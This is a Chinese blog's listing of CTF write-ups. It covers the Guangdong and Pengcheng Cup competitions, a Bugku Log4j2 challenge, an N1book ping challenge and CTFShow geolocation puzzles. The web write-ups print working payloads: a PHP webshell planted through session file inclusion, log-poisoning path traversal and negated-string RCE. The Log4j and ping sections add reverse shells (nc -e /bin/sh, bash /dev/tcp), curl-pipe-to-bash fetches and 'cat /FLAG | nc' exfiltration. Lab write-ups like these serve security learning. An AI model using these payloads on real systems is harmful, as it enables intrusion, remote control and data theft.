首页
关于站长
vFREE&资源
vFREE&导航
vFREE&友人帐
留言区
推荐
自由公式CTF
轻简导航
vFREE&网盘
Search
1
传说中的Windows11初体验(附下载链接和检测工具)
5,180 阅读
2
他的更多信息😋
1,917 阅读
3
MySQL中常见的内些...啥
1,189 阅读
4
非常菜的一个批量布置waf脚本
1,035 阅读
5
初始化一个Git仓库
880 阅读
其他知识
Linux
Windows
MySQL
Git
WriteUp
ctfshow
bugku
bmzctf
其他WP
CTF
Web
Crypto
Misc
AWD
漏洞复现
工具
Typecho
登录
Search
标签搜索
ctf
mysql
CTF-AWD
BMZCTF-WP
brixelctf
Bugku
Windows11
windows
web
web漏洞
xxe
web安全
vFREE
累计撰写
76
篇文章
累计收到
779
条评论
首页
栏目
其他知识
Linux
Windows
MySQL
Git
WriteUp
ctfshow
bugku
bmzctf
其他WP
CTF
Web
Crypto
Misc
AWD
漏洞复现
工具
Typecho
页面
关于站长
vFREE&资源
vFREE&导航
vFREE&友人帐
留言区
推荐
自由公式CTF
轻简导航
vFREE&网盘
搜索到
12
篇与
的结果
2022-07-27
强国杯分区赛-南部分区赛部分WP
{card-describe title="文件下载"}强国杯分区赛-南部分区赛题目部分writeup下载格式:pdf{/card-describe}{cloud title="writeup下载" type="default" url="http://file.vfree.ltd/GOF.pdf" password=""/}
2022年07月27日
11 阅读
0 评论
0 点赞
2022-07-27
广东大学生网络安全攻防大赛CTF部分WP
三人行,除我皆是大佬,第一次参加这个比赛,个人感觉难度还算是适中,简单分享一下对这些题目的个人见解,这次只做出了5题(I'm So Vegetables),还有一题另外一个师傅在比赛结束后才做出来WEBeasy_ctf这题刚开始以为把给出的字符数量进行排序就行了,发现排序完成提交后,没有任何回显,这里就突然想到了会不会是有时间要求,写了脚本提交上去后,回显了flag,简单写了一个脚本,看看就好了import requests,re s = requests.Session() url = 'http://120.79.xxx.xxx:42727/' re_rules = r'<td style="WORD-WRAP: break-word" width="1600">([\s\S]*)<td>' response = s.get(url) strs = re.findall(re_rules,response.text) strs = strs[-1].replace('\r\n','') resoult = {} for i in strs: resoult[i] = strs.count(i) # print(resoult) sorted_dict = sorted(resoult.items(), key=lambda kv: kv[1]) flag = [] for i in sorted_dict: flag.append(i[0]) s1 = ''.join(flag) data = { 'ans':s1 } response1 = s.post(url,data=data) print(response1.text)in这道题刚开始以为是很简单的文件包含,后面发现确实很简单,没有任何字符过滤,主要是考察session文件包含,通过写入木马,访问session文件,从而达到getshell的效果在这里输入内容后,会跳转到另外一个页面,这时候的url变成了 action.php?file=xxx,通过这个url确定是文件包含,接下来使用php伪协议读取一下首页php文件和action.php输入urlphp://filter/read/convert.base64-encode/resource=./action.php得到了将其解码出来后<?php session_start(); error_reporting(0); $name = $_POST['name']; if($name){ $_SESSION["username"] = $name; } include($_GET['file']); ?> <!DOCTYPE html> <html> <head> </head> <body> <a href=action.php?file=1.txt>my dairy</a> <a href=action.php?file=2.txt>my booklist</a> </body> </html>到这里基本就可以确定是session文件包含,既然session内容可控,那就可以直接传入恶意代码,比如构造一个phpinfo(),也就是在please input your name下面的框写入一个<?php phpinfo();?>传进去,然后通过访问session的默认路径+sess_PHPSESSID就可以被执行了{collapse}{collapse-item label="session文件默认路径:" open} /tmp/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/var/lib/php5/sess_PHPSESSID/tmp/sess_PHPSESSID{/collapse-item}{/collapse}同时查看我们的PHPSESSID,通过F12的"网络-cookie-PHPSESSID"那里,取得sessid,这里测试出来的session文件的路径是/tmp,所以直接访问?file=/tmp/sess_xxxxxxxxxxxx就可以执行了,执行成功后,会返回phpinfo的信息,这里就直接传入<?php file_put_contents('vfree.php','<?php system($_GET["vfree"]);?>');?>完成后,直接访问这个文件就可以getshell了,flag文件是/fl444444444g,最后直接cat /fl444444444g就可以得到flag了misc签到关注公众号发送"我来签到了"就有了flag{shifujiayou}复合下载文件下来,发现是数据包格式,我们使用wireshark打开,经过分析,数据包里面有很多文件,我们使用wireshark导出里面的所有文件导出的文件很多,我们查看一些关键的进行查看,先识别其正确的格式。发现一个flaggggggg.exe文件,我们将其改为zip文件打开,发现里面两个空白文件,分析其他四个文件,将WordDocument使用记事本打开,发现一个key,这个后面有用。经过分析,发现一个pass.md文件为zip文件,但其缺少zip文件头,我们添加50 4B,然后改为zip打开,打开发现一个文件解压后我们使用记事本打开,发现一些有规律的编码,我们使用Quoted-printable解码,解码为utf8编码,解码后发现一段文字分析为维吉尼亚加密,我们在解密网站解密,使用前面获取的key:everything解密,得到FLAG。cryptocrypto-xor2这题是另外一个师傅做的,直接上脚本去破解key值,已知前四位是flag,所以可以直接枚举出剩下的字符data = open('cipher').read() flag = '' for j in range(97,122): for i, c in enumerate(data): key = f'xxx{chr(j)}' flag += chr(ord(c) ^ ord(key[i%4])) #print(chr(j),flag) if flag[0:4] == 'flag': print(flag) flag = ''Reversepyre根据题目就大概知道是python打包成exe的,所以直接使用pyinstxtractor工具进行逆向,逆向出来后会得到一个pyc的文件,如果没有pyc文件,就需要通过winhex或者其他的进制工具修改文件头,我用的pyinstxtractor可以直接导出来pyc文件,所以这里不做其他修改文件头的操作,得到pyc文件后,放到反编译网站进行编译,这里推荐 python反编译 - 在线工具 (tool.lu)反编译出来的结果:def check(): a = input('plz input your flag:') c = [
2022年07月27日
13 阅读
0 评论
0 点赞
2022-07-27
鹏城杯部分WP
题目文件包含what_is_log简单的phpEasygo 文件包含nginx配置错误+user-agent文件头写入命令+读取access.log日志 考察任意文件读取,但是过滤了绝大部分的伪协议和flag,留下来的http和zip没过滤,但是没什么用,查看服务器的中间件是nginx,然后题目没有采用动态的靶场,所以尝试一下读取服务器的日志文件access.log,看一下能不能找到有用的payload或者flag,发现也被过滤了,而且,waf使用正则进行过滤的,可是到这里还是没什么思路,于是百度了一下路径绕过,发现有一个绕过的方法,就是利用nginx的配置错误,来进行路径拼接,整体是这样子的,直接访问/var/log/nginx/access.log时会被过滤,但是如果服务器配置错误的话,/var/vfree/../log/nginx/access.log的话,nginx默认会处理成/var/log/nginx/access.log,把vfree/../当成跳转上一层目录,也就是跳到了/var目录,于是就log后面的路径拼接到了/var后面,造成了目录穿越的漏洞,访问发现可以成功返回,如果环境没有被清空的话,通过全局搜索”PCL{“就可以翻到别人的flag,不好运就要自己写一个,整个access.log的组成是由IP - - 日期 - ”访问方法 访问路径 HTTP版本“ 状态码 字节 - USER-AGENT - - 这几部分组成,所以可以尝试通过请求头写入一段读取flag的php代码,然后flag再写入到日志文件中!!!所以直接get写入的话,访问access.log发现是可以写进去的,虽然会被防火墙拦截,但是所有访问都会先通过php处理任何在写入访问日志,所以flag就会被读取出来!!!PCL{bc58644f-f757-11ec-9edf-5224002d2b29} what_is_log下载文件,打开后,根据文件后缀scap进行查找是可以通过什么工具打开,发现scap的数据包产生的工具是sysdig,所以使用Linux安装一个sysdig (yum install -y sysdig),安装完成后,根据题目提示 ”某机器的mysql中存在一些秘密,通过log文件你能找到它输入的密码或者这个秘密吗(添加PCL格式提交)“ ,大概就可以知道要把数据包中抓取到密码作为flag提交,所以这里可以用 "sysdig -r flag2.scap proc.name=mysql > mysqllog.txt " 将和mysql相关的数据输出到mysqllog.txt中,然后下载到本地打开文本编辑软件进行审计,众所周知,在连接数据库的时候,我们要输入mysql -uroot -p,然后就会返回一个Enter password:,然后就输入密码,既然是进行查密码,那就有可能会输入mysql -uroot -p,然后出现Enter password,根据这一个特征,我们用ctrl+f进行查找相关的字眼,经过过滤后的文件,大概就会出现6个password相关的字眼,一个个去观察,结合上下产生的数据,最后在序号为61673的行找到了最终的flag,是一个md5值,但是提交不需要解密,最终flag就是PCL{1555a651a13ec074ce725383214fd7cc}简单的php打开题目,发现基本上把能用的字符都过滤掉了,同时code传入的字符不能超过80,否则输出Hello,由于是无参数RCE,不是很熟,所以这里百度了一下,发现了一些题目有点像,于是大概学习了一些,基本上就是异或或者取反,这里找到了一个现在的自动编码取反的脚本,由于是无参数回显,所以要结束print_r、scandir和pos(localeconv())输出当前目录,在此之前要进行编码 > print_r(scandir(pos(localeconv()))) ---> [~%8F%8D%96%91%8B%A0%8D]!%FF))); 将这段payload放到get中,就会输出当前目录的文件内容,但是发现flag不在当前目录,所以可能是在根目录上,有一个问题就是不能直接查看根目录,因为/使用了就不符合规则了所以此时可以利用通过获取getallheaders()的user-agent进行取反命令执行,也就是说说,在code输入执行函数,然后修改bp的user-agent的内容,使得传入的code执行函数去执行user-agent头,构造payload: > system(next(getallheaders())) ---> [~%8C%86%8C%8B%9A%92]!%FF)); > > user-agent: ls / 发现了flag名字,接下来直接改user-agent头进行读取flag,最终flag为:PCL{b35a314f-ff57-13a2-9ad1-002d22deeb2a} >Easygo查看main.go发现/juice/:id网站路径, 然后开始利用,http://192.168.1.115:8080/juice/1 网页有输出,源码中id是要输入到sql语句中,所以id这里存在sql注入 payload: http://192.168.1.115:8080/juice/1’ and 1=1 http://192.168.1.115:8080/juice/1’ and 1=2 最后确定漏洞后,利用sqlmap一把嗦,跑出flagPCL{Postgresql_1njection_1s_3asY}
2022年07月27日
7 阅读
0 评论
0 点赞
2021-12-15
Bugku---Apache Log4j2 RCE
1.bugku---Apache Log4j2 RCE1.1 打开题目注意:描述中的命令后面跟的×说明不支持这个命令,√则代表可以使用1.2 构建一个JNDI服务Github: https://github.com/welk1n/JNDI-Injection-Exploit1.2.1 构建1.cd JNDI-Injection-Exploit 2.mvn clean package -DskipTests 3.java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "VPS_IP"1.3 运行JNDI服务java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc [vps_ip] [vps_port] -e /bin/sh" -A [vps_ip]vps_ip : 你的服务器ipvps_port : 监听的端口,用来接收反弹的shell1.3.1payloadpayload构造不需要经过base64编码,直接用nc xxx.xxx.xxx.xxx port -e /bin/sh即可,把-e /bin/sh放在最后面,题目描述中的×说明了不能使用,但是可以使用/bin/sh1.4 启动一个nc监听nc -lvp 12341.5 ATTACK选择下图中任意一条"JNDI Links"(即粉红色字体的url)${jndi:[攻击payload]}比如: ${jndi:ldap://xxx.xxx.xxx.xxx:1389/zlfd1h}1.6 反弹shell获取flagsubmit flag更多log4j的漏洞信息见 :http://vfree.ltd/index.php/archives/379.html我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=1o0onbcvlj87b
2021年12月15日
114 阅读
0 评论
0 点赞
2021-12-09
N1book---死亡ping命令
N1book---死亡ping命令有时候命令执行的题目限制了字数或者某些函数被禁用了,那么此时可以用反弹shell的效果,连接题目的机器一般来说,构造bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1的方式,发送到客户端执行,但是有时候不一定可以,可能会报错啥的,所以此时可以在只记得vps中,新建一个页面,比如xxx.xxx.xxx.xxx/bash.php中的内容是bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1,然后再题目处输出/?cmd=curl xxx.xxx.xxx.xxx/bash.php|bash 即可达到执行的效果[第二章 web进阶]死亡ping命令给出了一个ping的界面,能输出的内容就只是有ping成功/ping失败,也就是说这道题类似于于那种布尔命令执行,如果执行成功,会返回ping成功,反之ping失败经过fuzz,可以排除大量的被过滤字符,其中%0a没有被过滤,因此,使用%0a再ip地址后面构造payload,由于docker里边没有bash,而且bash也被过滤了,所以用其他方式进行反弹由于不会输出命令执行的内容,所以,此时最好的办法就是反弹一个shell,首先得有一台vbs,再vbs中开放80端口,然后再根目录下创建一个bash.sh,内容为cat /FLAG | nc ip port构造了一个sh的文件,内容就是查看flag文件,并返回给自己的vps由于很多文件夹都写不进去,唯独/tmp的文件夹可以写进去,所以索性写进tmp文件夹中,名字为bash1.sh赋予权限执行(执行前,记得在自己的vps主机打开nc,nc -lvp 12345)
2021年12月09日
57 阅读
0 评论
0 点赞
2021-09-17
CTFShow_网络迷踪部分WP
新手上路甩到百度识图,识别出可能是三亚蜈支洲岛,于是直接百度三亚蜈支洲岛木桥的名称是什么,随即出来了一个名为"情人桥"的搜索结果,通过提供的图片进行对比,发现就是情人桥flag:ctfshow{情人桥}初学乍练老规矩,直接甩到百度识图/谷歌识图,然后根据特征找差不多相同的图片(可以找到很多),发现很多结果都是由苏黎世的,根据机翼的图标也可以确定是瑞士的国旗,也就是说飞机是飞往瑞士的,百度查找瑞士苏黎世机场出现结果还有一张方法就是根据机翼的图标就知道是什么国家,然后去搜索国家的机场名字,最后一个一个试~flag:ctfshow{苏黎世}初学再练使用谷歌识图就知道是哪个军事基地了Nagurskoye空军基地flag:ctfshow{Nagurskoye}狗哥在哪根据图片中的水印,知道是张伟的女朋友,于是去翻微博,找到相同的照片,相较于网上的教程,我这里可能需要耐心,就是去评论,并且把图片中的人的微博也去翻一下,翻了会,基本可以确定不是西藏就是川西,于是围绕川西去找景点,同时评论中还有一个评论,大概是说:"这是稻城山下的花海么",然后百度川西景点,任意打开,发现有一个"稻城亚丁"的景点,抱着试一试的态度,提交了flag,哦豁,是对的,nice!!!flag:ctfshow{daochengyading}国足加油下载图片,甩到百度识图就可以识别出来,可以发现,结果大多是2016年3月29日在西安举办的俄罗斯世界杯预选赛亚洲区小组赛国足与卡塔尔国家队的比赛,所以可以确定时间是2016年3月29日,然后去搜索这个比赛的地址,很容易找的到,这里给出一个网站 网站地址,可以得知是陕西省体育场flag:ctfshow{2016年3月29日陕西体育场}山外有山认识的直接就知道了这是珠穆朗玛峰,不认识的直接甩到识图,然后就会有珠穆朗玛峰的字眼了flag:ctfshow{珠穆朗玛峰}哐啷哐啷直接摔倒谷歌识图或者百度识图,然后翻阅一下,会发现有一个链接写着什么春运和田站xxxxxxx什么什么的flag:ctfshow{和田}给你拷上直接放到百度识图,搜出来的结果可能是韩佳恩(真好看),然后百度搜索韩佳恩抖音,微博什么的,最终在微博中发现她的tiktop号,有图片,图片中又抖音号flag:ctfshow{1928665723}目光所及请注意 "林华宝院士",这是一个碑,直接百度 "林华宝院士立碑" 可以找到相关的信息,可以找到 "凤凰山公园" 关键字,由于林华宝院士是福建莆田人,所以应该找莆田凤凰山公园即可,找到其区号喝号码提交即可flag:ctfshow{0594-2680716}古城豪庭打开题目,重点是在左下角的 "茶酒轩" ,直接百度地图一查,搜索结果也只有一个,非常nice,打开全景,和给出的图片对比,不能毫无关系吧,只能说一模一样,然后直接看向旁边的酒店,酒店名是 "西安富力希尔顿酒店" ,查找其区号-电话号码即可flag:ctfshow{029-87388888}食堂轶闻根据锦旗可以知道是什么餐厅,此时打开微博,找欣园餐厅锦旗,就可以找着了,万能的微博,锦旗是南方科技大学的欣园餐厅flag:ctfshow{南方科技大学_2018_09}我在哪儿根据图片中的检票口1上面的几个地点,分别去搜索,发现都是东莞的地区,于是搜索处于东莞的动车/高铁/火车站,如何一个个去猜,发现是东莞东flag:ctfshow{东莞东}
2021年09月17日
36 阅读
0 评论
0 点赞
1
2